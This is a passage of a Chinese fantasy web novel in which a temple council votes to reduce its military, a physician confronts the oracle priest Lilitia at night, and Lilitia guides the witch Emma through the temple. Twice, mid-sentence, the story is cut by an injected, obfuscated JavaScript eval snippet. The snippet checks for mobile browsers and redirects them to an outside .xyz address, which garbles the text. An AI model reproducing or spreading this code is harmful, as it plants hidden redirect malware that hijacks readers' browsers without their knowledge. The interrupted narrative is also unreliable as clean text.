德丽克丝坐在圆桌上首,她右手边的女性正满面怒容地瞪视着她,本就长得锋利的眼睛满含煞气。 59.议会 “别动那么大气,卡珊卓。” 德丽克丝的姿态仍然放松,用着熟稔的口吻,“瞧瞧,年轻人们都回去各忙各的了,这儿就我们这些老头老太太——哦,佩洛亚,别介意,请继续做你的记录吧——我们老人更该有老人的耐性,是不是?” 德丽克丝左手边的男人闻言立时点头附和:“是啊,卡珊卓,有话好好说,你喝点茶消消火,这茶叶是我刚采的……” “一边儿去,罗伯特。喝你的茶,没你的事。”卡珊卓横了他一眼。 罗伯特闻言悲伤地低头,看看自己杯里的茶叶,喝了一口,微微摇着头,叹气。 “在他们面前,我已经够给你这个‘首席’面子了。”卡珊卓面色沉沉,“你什么意思?在这种时候,还说要削弱神殿的军事准备?” “正因为是‘这种时候’。”德丽克丝沉静地说,目光微亮, “女巫殿下来到了神殿,我们不需要那些准备了。” “哈!德丽克丝,你什么时候这么天真了?醒醒吧!你打了一辈子的仗,还不熟悉战争吗?” 卡珊卓冷笑,“那些愚蠢又贪婪的野兽,在真正吃到苦头前是不懂得害怕的!别说一个还不能确定是否留在神殿的女巫,整座神殿军都未必威慑得住他们! “你在这种时候说要‘削弱军备’,不像是在跟利利提亚说‘女巫来了,用不着你了’吗?河还没过呢!德丽克丝将军,现在拆桥未免太早了!” “瞧你,说得像我真那么无情似的。你就那么相信他?”德丽克丝挑挑眉毛。 “不是‘相信’,事实就是,比起一个什么都还不确定的女巫,我们更需要他!” 德丽克丝淡淡道:“如果一把刀非得有他那样难测的心思,我想还是空手更安全。” 卡珊卓又一拍桌,正想接着骂,坐在她右手边的女人揉了揉额角,压了压她肩膀:“好啦,消消火。你吼得我头疼了,卡珊卓。我桌上的文件都快被你拍飞了。” 卡珊卓一顿,停住了话,沉着脸靠到椅背上,拿起茶杯喝了一大口。 德丽克丝看着那女人摇头:“美人的魅力真是学不来啊,梅兰特,我也想一句话就能让卡珊卓哑火呢。” 那叫做梅兰特的女人弯着眼睛笑起来,虽然头发和皮肤都彰显着时间流逝的影子,但她眼波流转间,风韵不减分毫:“别故意说这种惹卡珊卓生气的话啦,哎,你们俩都吵了几十年了,怎么还不能坐下来和和气气地说话呀?” “我也想啊,你看,我可没生气,这不是卡珊卓——” 德丽克丝状似无辜地摇头,卡珊卓眼睛一瞪,正要再发作,罗伯特噌地站起身,一边端起茶壶一边念:“哎呀你茶杯都空了,我就说这茶好吧!来我给你再倒点,再倒点。” 梅兰特微笑着端起自己的茶杯:“说起来,利利提亚那孩子,我很喜欢他呢。那样漂亮又聪明的孩子,要是在剧团,一定是最受欢迎的主演。他有什么惹你不高兴的吗,德丽克丝?” 德丽克丝轻轻哼了一声,笑:“这我倒不怀疑。但他显然志不在此。” 梅兰特叹一声气:“真可惜!哎,早知这样,你们不如别让他当那个神谕祭司呢,今时今日闹得不痛快。” “别说这种轻飘飘的话,梅兰特。”卡珊卓仍然沉着神色,“利利提亚能当上神谕祭司,不是我们任何一个人的喜恶,是指月石的选择。 “呵,你们最相信的指月石!选出了一个前所未有的神谕祭司,又选出一个完全不信他的议会首席,多讽刺的笑话!” “我并不是完全不相信他,你不需要歪曲这个概念。”德丽克丝说,“不是万不得已,也不是心灰意冷,没有什么理由,一个轻易能抛弃自己故乡的人……我不放心这样的人。甚至说,他叫我害怕。” “我以为你们信起神来都这个疯样呢。你也会害怕吗?”卡珊卓冷笑。 “我怕的事情从来都太多了。”德丽克丝垂下眼睛,“但就像你说的,卡珊卓,我们确实还需要他的力量。利利提亚是双刃剑,我们需要他,也只能承担他所带来的风险。我只希望这代价不会太大。” “你真是愈老愈发胆小了,战场上的母狮已经被阿瓦托芬的和平日子消磨光了胆魄吗?我们有尖爪,有利齿,却非要一次又一次地磨钝它们!” 卡珊卓捏紧了自己交握的手,“如果我们继续这样无休无止地忍让,即使有了女巫,一切也不会发生什么改变!” “‘不战誓约’是神殿的根本,历任女巫们的意志。我们早都受够战争了,‘以战争杜绝战争’绝不会有好结果。 “阿瓦托芬是月神女巫庇佑下的和平的奇迹,这不值得我们珍惜吗?何必因为刀剑不够锐利就这样不安呢?” 德丽克丝温声说,“卡珊卓,你早不是那个稀里糊涂跑出家里,手无寸铁地被卷进战争的贵族孩子了,你早就足够强大,用不着谁来保护你。” “不过是年轻时候一腔意气,眼瘸被渣滓男人骗了这种不光彩的过去罢了,没什么好提,我早忘了!离开那个家未必不是好事,现在我还要庆幸。”卡珊卓哼了一声, “你呢,德丽克丝将军?世代忠良的武将之家,效忠了一个不值得的家族,自大又猜疑心重的君王。为深爱的国家痛心不已,心灰意冷,改信了神明。不曾想到了月神座下,还是得跟这些刀兵算计打交道,是够累的。你后悔了吗?” “从不。”德丽克丝说。 气氛微妙地凝固了一会儿,梅兰特掩着嘴:“哎呦……怎么都翻起旧账来了?大家多少都有过得不太好的时候,提起来多叫人难过啊,让我也想起在到阿瓦托芬之前那些流浪的日子……哎呀,还是不说了吧。” “我们毕竟老啦。”德丽克丝笑笑,“来日不多的人,难免数着过去过日子。” 卡珊卓嗤一声:“那是你。我有一天过一天,老守着过去有什么意思?” “我同意这个话题就到这里。” 议桌上响起清脆的一声书本闭合声,梅兰特身边一直沉默的女人抬起目光,单片眼镜下一张面无表情的脸:“讲起以前的事就没完没了了。你们一直在这儿吵,我都看不进去书。 “德丽克丝刚刚的议题,早点投票 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“别打仗啊,当然不打仗好,就算别人看我们窝囊、咳,我是说,胆小点,那也就让他们误会嘛!” 卡珊卓不屑道:“整天只知道种花、钓鱼、下棋、喝茶,没一点远见和野心的老头子,说出这种没头脑的话是不奇怪。” “你怎么人身攻击啊!闲点好啊,退休生活不就该这么过嘛……”罗伯特摸着茶杯嘀嘀咕咕,“我也不知道指月石怎么选的我,但反正,我是这么想的……” 图伦摘下了单片眼镜,一边掏出镜布擦拭镜片,一边说:“我‘反对’。” 德丽克丝诧异地一挑眉,看向她:“你是阿瓦托芬本地人,我不是想批评你,图伦,你没见过真正的战争……” “跟那没关系。”图伦的声音平而冰冷, “真要说,我觉得在这个节点做任何决定都毫无意义。我们无法真正预测未来,再多愚人之见,在事实的变化面前,都可笑又脆弱。但我不赞同你现在的举动。” 图伦抬起眼睛,目光冷冷的:“现在削减军备,是毋庸置疑的示弱。阿瓦托芬的处境会比以往更危险。确实,‘如果有女巫’,这样的处境就不再值得担心。但女巫未必会留在这里,没有人可以干涉女巫的去留,这是记在议会章程里的铁律。 “营造出更需要女巫的氛围,这是无形的胁迫。你在向女巫施压。 “德丽克丝,你越线了。” 议桌上沉默了一会儿。 卡珊卓说:“我早说你们这些自称虔诚的信徒比谁都疯。” “很重的指控。”德丽克丝挑眉,“抱歉,图伦,我不接受。你没有足够的证据定罪我,这项提议并不直接涉及女巫殿下。” “是的。我说完了。”图伦戴回镜片,面无表情地靠在椅背上。 “哎呀,哎呀,大家何必这么剑拔弩张呢?都是好意呀。”梅兰特一边摇头一边叹息,“我只想大家都好好的,别整天担惊受怕!我嘛……德丽克丝,抱歉啦。我‘反对’。” 60.沉默 “让人伤心,我可一直是你忠实的歌迷呢。”德丽克丝压下眉毛,“能说说理由吗,梅兰特?因为你很欣赏利利提亚?” “那孩子是很不错,要是我再年轻几十岁,肯定会迷上他吧。哎,可惜太漂亮,心思也太多了。我只相信,主动权不能握在别人手里。” 梅兰特轻轻摇头,“要只是坐等神明的垂怜,再简单的麻烦,神明也爱莫能助。女巫殿下的想法,我们无法左右,只能先行自救。” 她说完,脸上又露出笑来,眼波流转到罗伯特身边始终沉默的男人身上:“呵呵,然后——斐勒,不早点投票就是会有这样的事呀!最终决定权的那一票就交给你了。你也可以弃权哦,弃权也是一种态度嘛。” “别怂恿他。斐勒可禁不起你这么吹耳边风。”德丽克丝无奈制止了一句,“斐勒,只管说说你的想法。” “你怎么不是怂恿?斐勒当年还是你的下属呢。”卡珊卓哼道,德丽克丝没理她。 那个叫做斐勒的男人长着一张不善言辞的脸,实际也确实不善辩论,因此沉默了大半场会议,这时却得了全场的关注。 他看着桌面上自己的拳头,又沉默了一会儿才开口:“我……我是军人出身。到了阿瓦托芬之后,在巡防营的日子,我才知道,保卫国家的军人还可以有这种生活方式。 “我实在,不愿意再见到战争。我……‘支持’德丽克丝女士的提议。” “谢谢你,斐勒。”德丽克丝向他颔首,然后拍手作结,“很好!那么,首席有额外多出半票的权利,三票比三点五票,削减军备的提议通过。” 卡珊卓大怒:“你这时候数得清小数点了!怎么当年我追着你要账本的时候你死活算不清呢?好像记账的时候写细点会要了你的命似的!” “哎呀,是的,我也很怀念,你还很尊敬我的那时候……”德丽克丝很遗憾。 “呸!在看见你给我的第一个月的账本的时候我就半点敬意不剩了!” “真是美好而脆弱的感情啊。”德丽克丝叹息。 输了投票,梅兰特却一点不恼,仍然笑得很开心:“呵呵,德丽克丝一直这么不拘小节。德丽克丝,也体谅一下卡珊卓的心情呀,审计真的很辛苦……” “是,我道歉,卡珊卓,明天请你喝咖啡怎么样?消消气。” “你一个人喝去吧!”卡珊卓往椅背上靠去,手里的笔啪一声摔在桌上,咕噜噜滚了半圈,“我是不想管你们了,早晚给我气死!你们爱怎么怎么样吧!” 德丽克丝摇头晃脑:“我们是公平投票,别像小孩子赌气似的。好啦,卡珊卓,你最操心了,怎么会放着阿瓦托芬不管呢?” “我可管不动!你们难道真的不明白,女巫对神殿来说确实意义非凡,但在虎视眈眈的外人眼里,阿瓦托芬有没有一个‘女王’有什么两样?” “你该见见她,卡珊卓。”德丽克丝说,“那是我们的女巫殿下。” “‘你们’的女巫殿下!”卡珊卓不耐道,“我早说我不是你们这样的信徒!我尊敬那位月神殿下,也感激阿瓦托芬给我这个容身之处,但我到底不理解你们。” “好吧,换个你能理解的。”德丽克丝说,“议会设立的初衷,就是为了辅佐女巫殿下。如果女巫归位,她有权重组议会,重选主祭司,再选拔监察骑士。” “你真疯了?”卡珊卓猛地弹回身子,定定望着德丽克丝,“那个女巫才刚出现,你就急着把所有权力拱手奉上?” “我相信大家都没有异议。”德丽克丝说。 议事厅里一片安静,没有人否认。 卡珊卓在这片默认里环视了一圈熟人们的脸,自嘲般笑了一声,泄了气:“呵!不愧是指月石选出来的好信徒们。我呢?指月石到底怎么回事?如果纯粹要你们这么听话省事的拥戴者,又选我这样的非信徒算什么?罢了……真是白费力气。” “指月石并不根据信仰深浅来选择对象,我们无法揣度神的意志。祂选中了你,卡珊卓,你在这里的一切思考和意见都有意义。”德丽克丝沉静地说。 “好了!会开了,票投了,你逞够威风了,‘首席’!我们没话可说了。”卡珊卓唰地站起身, “不需要特意让我见那个女巫,我不想向她下跪。还有什么事,就等她愿意成为‘神殿的女巫’之后再说吧,否则也没有再谈的必要了!” “这我倒是同意。”图伦也跟着起身,推了推眼镜,“女巫殿下要是不打算留在神殿,什么都是空谈。在她做出结论之前,别再开这种浪费时间的会议了。晚安,各位。” “晚安,图伦。晚安,卡珊卓。” 德丽克丝向后靠,闭上眼睛,“晚安,各位。祝我们都不会后悔。” 当晚是弦月,天空只飘着几丝云彩。西琳走在春夜的风里,神殿这条长廊,夜间少有人来往,只间或有守卫经过。 西琳出示了自己的身份证明,守卫也就向她点一点头,列着队走过了。 走到快出神殿的位置,她看见对面过来一个人。 和她一样,没点着灯,只借着月光凝视黑暗的一双眼睛。 西琳觉得在晴夜里闻见水汽,仿佛这该是个下雨的夜晚。 心脏无声息地下沉,西琳停住脚步,正要向对方行礼。 “晚上好,西琳女士。”对方先于她打了招呼,漂亮的脸上挂着很难让人生出恶感的笑意。 “晚上好,利利提亚大人。”西琳回答。 利利提亚的语气熟络而自然:“才刚开完会吗?真是辛苦了。现在赶回城关的话,夜间有很多巡逻关卡,一个个核对您的身份要花掉不少时间,不如我送您回去吧。” “多谢您的好意。您看起来也是忙碌到这个时候才结束工作,我自己可以回去,就不劳烦您了。” “您太客气了,女士。这里没有其他人,我们放松点说话吧。”利利提亚笑道, “毕竟,作为议会‘后六席’的成员之一,您该算我的上司才是。哪有您对我用敬语的道理呢?” 夜晚的长廊寂静,稀疏的月光落在地面上,树影在月光里摇晃。 西琳看了利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204838|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利提亚一会儿:“有什么事吗?” “嗯……只是有一些困惑,”利利提亚说,“如果您不介意,或许能为我解答?” “请问吧。”西琳说。 “我猜,您今天为那位小姐做完检定之后,就已经确信了‘她就是女巫’。神殿最出色的‘检定师’如果都无法判定女巫的身份,恐怕世上也没有其他人看得出来了。” 利利提亚的语气轻而肯定,“不过,这没有什么问题,在女巫的事上慎重很正常。即使您有了判断,走一遍流程,让指月石进一步鉴定,再有足够的人见证,这些都是必要的。” “我只是好奇……”利利提亚微笑地看着她,“您并没有亲自带女巫殿下去神殿,而是让我领路这件事。” “没什么特别的理由。”西琳说,“因为你正好在那里。无论通知人还是带谁去神殿,你行动起来都更方便。这不是值得你特意问我的事情。” “但我真的有点惊讶,将女巫殿下交给我,就好像——您信任我似的。” “我应该怀疑你吗?”西琳的表情没有变化。 “我一直以为您不太喜欢我。一位见过战争满目疮痍的军医,不可能对我这样的人有好感。 “很多人听见我的出身就要警惕,我可以说服他们,但您不一样,我没办法用冠冕堂皇的谎言欺骗您。” 利利提亚说,“所以我很好奇,在‘检定’过我之后,您仍然选择亲自带我来到神殿,并在我的事上对议会保持沉默的理由。请相信,我对此一直心怀感激。” 西琳移开目光,看着长廊边的庭院:“我的‘检定’只能看到一些感觉,过去的碎片,不全面的东西。 “我是个心理医生。无论我通过法术看到了什么,我都不会告诉其他人内容。这是我的职业道德,也是我的底线。我并没有把你当作特例。” “刚来到阿瓦托芬的时候,我也以为,这是一个理想之国,世外之地。而越融入这里,我越觉得……” 西琳停了停,“阿瓦托芬跟我的想象不同。我不确定它需要的是什么。我做了自己该做的事,指月石承认了你。既然这样,我会继续保持沉默。” “明白了。”利利提亚点头,“最后一个问题。女士——您在我身上,看见了什么?” 西琳移回目光,落在利利提亚的脸上。 她记得工作之余听见过一些小姑娘的议论,她们说神谕祭司有着一张天使的脸,慈悲温柔,好像故事里的圣子。那面孔确实柔和又漂亮。 月光落在他银发间金色的橄榄枝上,宁静而纯洁。 西琳说:“我看见了……‘战争的种子’。” 利利提亚笑起来:“好高的评价啊!” 西琳没有说话。 “很高兴能听见您这样直接的回答……不胜荣幸。” 利利提亚向她行了一礼,“抱歉打扰了您这么多时间,就不继续耽搁您了。女巫殿下刚刚来到神殿,我也还有很多事情需要继续准备。” “晚安,西琳女士。以月神的名义,祝您有个好眠。” 61.导览 “早上好,女巫殿下。” 艾玛打开门,在第二天早晨的约定时间,来访的却并不是哈瓦娜。 清晨的日光洒落在空旷的走道,艾玛左右望了望,只看到面前唯一站着的人。 利利提亚微笑地望着她。 “早上好。”艾玛回答,“哈瓦娜没来吗?” “她有其他工作。如果您不介意,今天就由我来当您的向导。” 艾玛倒不在意导游是谁:“我以为‘神谕祭司’现在会很忙。” “再忙也要为女巫殿下的事让路啊。”利利提亚退开两步,为艾玛留出空间,“毕竟,和另外两位主祭司不同,‘神谕祭司’本就是为了辅佐女巫而设立的职位,可以说,等同女巫的助理。” “我的工作是为了填补女巫不在位时的空缺,而现在您来了,情况自然完全不同。” “当不起。”艾玛摇摇头,“我对这里来说还是个‘外人’,这话太客气了。” “如果让您感到压力,我很抱歉。抛开其他因素,您首先是神殿的客人。无论如何,我希望您有一趟愉快的游览之行。” 利利提亚顿一顿,为这话题做一个收尾,脸上扬起笑来:“——您吃过早餐了吗?” 哈瓦娜昨天带来的食物太多了,艾玛留了点当早餐,顺便以同样的理由扯谎道西里斯也吃过了。利利提亚于是放弃了带他们去食堂的打算。 神殿没有奴隶,但有按工时和工作量发薪水的佣人。利利提亚和艾玛提到那个“女巫的房间”已经收拾得差不多,在他们出门期间,可以让女佣们把行李搬过去。 艾玛把客房的钥匙交给来搬东西的小女佣,女孩的眼睛亮亮的,和艾玛目光一碰,立刻又敬又怯地缩了回去,退开后却又悄悄抬起眼睛打量。 艾玛对别人的注目从不陌生,只是那眼神里的敬畏热切对她也仍然新奇。 利利提亚事前问过哈瓦娜昨天带客人们逛了哪里,以作为今日行程的参考。 哈瓦娜想了想,先放上最终总结:只在东楼附近转了转,没有走远过。 昨天他们先去了东楼附近的菜园,后去了个人厨房。 神殿有好几个食堂,但总有人一时兴起想自己整点什么,个人厨房便是为此设置,烹饪道具一应俱全。食材自备,去之前需要预约时间,有专人监督管理,防止新手在这里练习烧了房间。 哈瓦娜由此联想到吃饭时被汤汁弄脏过衣服,于是想到带艾玛去认洗衣房的门,又在洗衣房女工的热情介绍下看了好一会儿洗衣流程,顺便去纺织部坐到了晚餐时间。 阿瓦托芬的服装式样与在沙漠时不同,纺织部的职员送了他们几套当地风格的衣服。 最后他们去食堂吃了晚饭,在庭院里散了会儿步,就回房间休息了。 整个游览过程听起来非常有迹可循,优先把衣食住行的基础设施走了一遍,实用思路里透着淳朴。 艾玛评价为:很体贴。 艾玛对哈瓦娜的导览没什么不满,但客观地说,这确实不是份专业周到的行程安排。作为工作任务,很可能被上司批评。 但利利提亚听了倒笑起来:“那就好。不过今天我们要走远点,那样细致的行程只能等到日后有空慢慢来了。” “我们先去哪里?” “去拜访主殿东北角的天象司,‘天象祭司’今天应该在那里,正好去打个招呼。” 艾玛点点头,没什么想法。 她漫不经心地看过走廊窗外,澄澈的天空蓝得发亮,几丝云慢慢浮过天空,阳光晴朗。 利利提亚于是跟她闲话起来。他的敬语用得无可挑剔,对艾玛说话的语气却说得上自然和放松:“说起来,昨天见到两位的时候,看你们做的是长途旅行的打扮。两位是从哪里来的呢?” “西北边,我们在那边跟着商队旅行了几年。” “啊——阿瓦托芬的西北方吗?我没去过那里,有什么值得看看的地方吗?”利利提亚露出了颇为感兴趣的眼神。 艾玛拣些旅途见闻讲了讲,利利提亚时不时显出惊奇的表情,或是被趣闻所打动的开怀笑意。他是个很捧场的观众。 “你呢?”艾玛问他,“没有离开过阿瓦托芬吗?” “我不是阿瓦托芬的本地人。”利利提亚回答,并不出人意料,“我出生在罗穆卢斯,阿瓦托芬的东北方。不知道您有没有听过这个国家?” 艾玛眼里带上点轻微的惊讶:“听过。我碰见过要去那里的商队,队里的商人抱怨说这一趟要走上两三年。越远的商道愿意走的人越少,但罗穆卢斯往来于这边的商队却经常能见到。那应该是个繁荣的国家,离这里很远。” “很远,但要是运气好,用不上两三年。我从罗穆卢斯来到这里花了两年不到。” “那也够远了。” “信仰哪有远近之分呢?”利利提亚笑,“那是我第一次跟着商队长途旅行,看什么都新奇。沙漠比我想象里要有趣得多,我或许很适合那样的生活,现在还偶尔会怀念。” “这里的城关很严,神殿的祭司也不能随意离开阿瓦托芬吗?” “是的,阿瓦托芬有一套严格的人员进出管理体系。有些祭司会驻守在我们的友国,或者进行短期的使节外交,这是经过神殿审核允许的暂时性离境行为。 “神殿允许以外的自主离境行为都被默认作抛弃阿瓦托芬的公民身份,神殿不会追究,但抛弃过公民身份的人不得再踏入阿瓦托芬一步,不会有第二次机会。” 利利提亚的目光划过窗外,仿佛受阳光刺目,眯了眯眼睛:“我的工作内容和离境活动无缘,在成为神殿的祭司后就没有离开过阿瓦托芬。不过,阿瓦托芬是个好地方,我很喜欢这里。” “因为月神的神殿在这里?”艾玛说,“你是个信徒。” “是的。”利利提亚回过头,看向艾玛,唇边带着笑意,“因为这里离月神最近。” “‘地上的月亮’,我听过这个说法。”艾玛道。 “很多人都以为,是因为月神神殿在这里,这里才被称为‘地上的月亮’,但事实想必正好相反。我想,您会是最明白背后理由的人。” “嗯。”艾玛回答,声音平淡而没有波澜,像在说今天天气不错,“来到阿瓦托芬之后,我大概理解了。” 利利提亚停下脚步。 “到了。”他 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“预言占卜只有少数人做得来,但天象变化有一定的规律可循,根据前人的总结经验,可以推算出之后的可能——也就是天气预报。在居民的日常生活和农牧耕作中都是重要的一环,顺便,农耕也是‘天象祭司’下辖的部门,但在神殿外围,离主殿这边远,今天就不去看了。” 内间的门敞开着,他们走到门口的时候正有职员出来,险些撞到利利提亚身上。 利利提亚敲了敲一边的门板,成功引得了正在房间里拿着张长纸卷和人讨论的男性的注意。 艾玛记得昨天见过那个人,大约三十多岁的男性,戴着副细框眼镜。 “早上好,弗里蒙斯先生。”利利提亚先打了招呼。 “早上好,利利提亚大人。”弗里蒙斯中断了和同事的对话,放下手上的东西走过来,先回了他的招呼,又恭敬地向艾玛行了一礼,“贵安,女巫殿下。” “你好。”艾玛点头回礼。 弗里蒙斯的办公室内光线明亮,开着小半扇窗,摆着几盆吐着绿意的盆栽。办公桌面堆满纸卷,长长的纸卷被风一吹,展开来拖到了地上,有的啪嗒滑落下去,在地面摇摇晃晃。 昨天和弗里蒙斯一起出现的女性走到滑落的纸卷边上,拾起它们放好,向利利提亚点一点头行礼。监察骑士佩洛亚。昨天见过一面,艾玛后来又听哈瓦娜再度提过,对她多了两分印象。她是天象祭司的监察者和助理。 除了这两位和刚才的职员之外,房间里就没有其他人了。 利利提亚环视了办公室一圈:“菲提不在吗?我以为她关心女巫殿下的事,今天会到主殿这边来的。” “呃,菲提她……”弗里蒙斯有点尴尬地摸摸鼻子,推高眼镜,看了一眼艾玛的神色,“她今天……有地理实践课。菲提说什么都不想缺席,她,嗯,您大概知道,她非常喜欢……亲近自然。抱歉,我事先不知道女巫殿下会来——我回去会跟她谈谈的。” “哦……”利利提亚有点意外,“看来很不巧,我们今天见不到‘天象祭司’了。” 弗里蒙斯没有否认。 艾玛道:“我以为弗里蒙斯先生就是天象祭司。” “准确地说,我是天象祭司的代理人。”弗里蒙斯说,“真正的‘天象祭司’是菲提,她今年十五岁。” 62.天象 艾玛感到了一些小小的吃惊。 弗里蒙斯组织语言,继续解释:“主祭司的选拔标准中有一项,如果测试者的指月石倾斜角在二十五度以上,会得到部分特权。菲提的倾斜角是二十七度,所以虽然她还没有成年,也可以破格被选为主祭司。 “‘天象祭司’的重要职能之一是占卜预言,菲提在占卜上非常有天赋,灵敏远胜于他人,足够完成占卜工作。但是,除了占卜之外,如您所见……天象祭司还有多方多面的杂务,而菲提目前确实不具备处理这些工作的能力,只能另选他人。 “而我是天象祭司的候选人之一,其他各方面都满足条件,只有唯一一项——我的指月石倾斜角只有十三度,不满足主祭司最低十五度的标准。而很巧合的是……” 弗里蒙斯咳了咳:“菲提是我的表妹,我母亲妹妹的女儿。我们居住在一起,虽然相差将近二十岁,但我们关系很好。菲提说……呃,她说可以匀两度倾斜角给我。当然这是不行的。 “占卜预言本身非常看占卜者的天分,受一些难以把控的要素影响。菲提的占卜能力很强,二十七度倾斜角又太过于压倒性了。所以议会最后做了这样的折中方案:让菲提成为‘天象祭司’,而我则作为‘天象祭司’的代理。” 艾玛了然,感想道:“生活处处是惊喜。” “您说得是。”弗里蒙斯苦笑。 “但菲提只负责预言那块,参与天象祭司的工作不多,平时还在照常上学。一方面是她父母的建议,一方面她对学习有自发的兴趣。”利利提亚弯了弯眼睛,“她很聪明,会利用天象祭司的身份找借口踢掉自己不想上的课。” 弗里蒙斯揉了揉额头。 “所以,事实上,天象祭司的工作基本是弗里蒙斯先生在完成,非常辛苦。我向来觉得您太谦虚了,其实不必这么强调代理的身份。”利利提亚说。 弗里蒙斯摇头:“这是对我自己的提醒。我和菲提相处再融洽,也毕竟是两个不同的人,何况还有不小的年龄差距。我们是一定会产生争吵和意见分歧的。 “到那种时候,如果我要凭恃于自己年长或‘辛苦’,反过来夺取她应有的权力,那是忘恩负义。我也看不起那样的自己。倾斜角胜过我、能力满足条件的同样有其他人,如果没有菲提,我本来也无法成为天象祭司,我不希望自己忘记这一点。” 利利提亚叹了口气:“真是让人羡慕的兄妹关系。” 弗里蒙斯认真地说:“我相信尊重是相互的。菲提尊重我,我也尊重她。” 利利提亚向艾玛道:“想必不用我更多介绍了。女巫能够判别谎言,您应该听得出这些话里多少真心。总之,如您所见,弗里蒙斯先生是位非常尽责、可靠而正直的好先生——” 弗里蒙斯咳了一声,被夸得不自在了。 艾玛点头,拍了几下手。 弗里蒙斯不明所以,诚恳地问:“是有什么需要我帮忙的吗?” “不。”艾玛说,“只是想鼓掌。” 弗里蒙斯带着艾玛他们简单浏览了天象司的设施,介绍了一些器具的效用和天象理论模型。 “根据昨晚的星象,今明天都会是晴天,后天有三成概率降雨。我们目前只能预测三天的气象,再往后,失误率就会极大地提高。” 弗里蒙斯在观测人昨晚新绘的星图上对艾玛比划,说到这里,像是想起什么,摇了摇头:“不过——您既然在这里,以后的天象预测就不好说了。” “怎么了吗?” “‘女巫会影响天象’,流传至今的典籍和故事里都这么讲。尤其,‘当女巫停驻于她的神殿,便将与此方的天和地相连,天地顺其变化,晴雨显其喜悲。’ “也就是说,如果您停留在阿瓦托芬,这里的天气变化将受您心情影响,再通过观测星象来预判天气就不准确了。” 艾玛愣了愣:“这倒是……我第一次听说。” “神殿的传说中普遍认为,‘女巫是神祇意志的外显’,天象变化是神的吐息,那么它受到女巫的影响也就不奇怪。 “在传说中,女巫和天地形成链接需要时间,所以这种影响会随着她们的成长日渐显著。尤其在女巫停留之处,那地方和女巫的链接越紧密,受其情绪变化的影响就会越深。 “再比如,对月神女巫来说,月神神殿所在的土地更加特殊:这里信徒众多,聚集了各处而来的信仰;还有一种解释……传说女巫的灵魂诞生自神殿的土地,回到神殿,便如回到了故乡。” “女巫在位时期,天象司的职责安排和现在也有区别。如果您有停留在这里的打算,我也该去研究一下……啊,抱歉,我无意为您施加压力,或者逼迫您做什么决断——现在说这个还太早,是我心急。只是……” 弗里蒙斯推了推眼镜,像叹气,“您来到了神殿,很多事都会不同了。” 弗里蒙斯带他们转了天象司好几个房间,连带浏览了附近几个关联部门。 等介绍告一段落,他问利利提亚道:“既然先来找‘天象祭司’,之后是打算去跟‘文礼祭司’也打个招呼吗?” “虽然理想是这样,但柳德米拉女士还在忙春祭的事,即使去文礼司的办公室,恐怕也找不着她。而且,那位对礼数比我们都重视得多,要是现在带女巫殿下过去,文礼司那边来不及准备。还是不去给他们添乱了。” 弗里蒙斯表示赞同。 离开天象司之前,艾玛叫了西里斯一声提醒。他全程都没怎么说话,注意力时移时定,漂浮在不知哪里。艾玛顺着他的目光,看到西里斯正盯着墙上那张巨大的星图。 他听见艾玛的声音,迟了两三秒才回神,抽回视线应了一句,就转身走向门口。艾玛多瞧了星图两眼,猜不出他刚刚看的位置。 和弗里蒙斯告别之后,他们所处的位置距离初始坐标已经偏离了相当远。神殿很大,迷宫般七弯八绕,这一圈走完,让人甚至一时辨不清东西南北。 好在他们的导游对这里确实了如指掌。利利提亚简单确认了方位,决定了下一个目标地:“——这里离医疗部的办公区不远。” “‘医疗’……哈瓦娜提过,这是‘神谕祭司’管辖的范畴。”艾玛想了想。 “系统分配是这样,但我完全不懂医疗上的事,所以也不干涉他们的管理。”利利提亚像是想到什么,唇角挂上了淡淡的笑意,“而且,我们的医生非常出色,不需要多余的担心。” 出于直觉,艾玛莫名感到利利提亚的心情突然变得很好。 她眨了眨眼睛。 “看来确实是很出色的医生。”她说。 “我在工作上和医疗部来往很多,对他们的办公区很熟悉。按照排班,克蕾娜今天应该在这边。”利利提亚介绍说,“克蕾娜是医疗部的负责人之一,她是我见过最好的医生。” “很高的评价。”不如说,艾玛惊讶于这评价的绝对性。 “我相信她值得更高的赞美。那样对医学充满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214147|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 执着和热情的态度,平等认真对待每一个患者的体贴,任何人看了都会感动。她是个非常温柔的人。” 利利提亚完全不吝对那位医生的赞美,“我们私底下是关系很好的朋友,但我不是因为偏心才这么说。如果您有机会了解克蕾娜,您也一定会相信。” 说话间,他们已经穿过了安静的过道,前方往来的人员又多起来。 办公区基本上是医生们放置用具和归类医疗档案的地方,走动的多是医护人员。问诊区在更外侧的西殿,病人一般不会来这边。 有医护人员看见利利提亚,立刻向他行了礼。 这一路上过来,艾玛对此情境已经不陌生。 据利利提亚所说,神殿每年有一些大型庆典,主祭司都要露脸出席,加上他因为工作经常四处走动,神殿里的人大都认得他。 女巫的事还没传开,神殿又实在有太多信徒,彼此间有不认识的人很正常,即使看见了神谕祭司身边的艾玛,联想到女巫身上的人也不多。 艾玛意识到自己在这儿并不突兀,不如说,因为利利提亚只是出现就能夺走别人第一眼的注意,反倒稀薄了他身边人的存在感。 艾玛觉得这样更轻松,能够承受他人的目光和喜欢毕竟是两码事。 只是不知道是否错觉,艾玛感到医疗部这边的职员对利利提亚的态度与先前所见的人有些微妙的不同。 利利提亚在交错的走道里七拐八拐,最终停在一扇门前。 这里在办公区较深的位置,几乎没什么人了,显得格外安静。 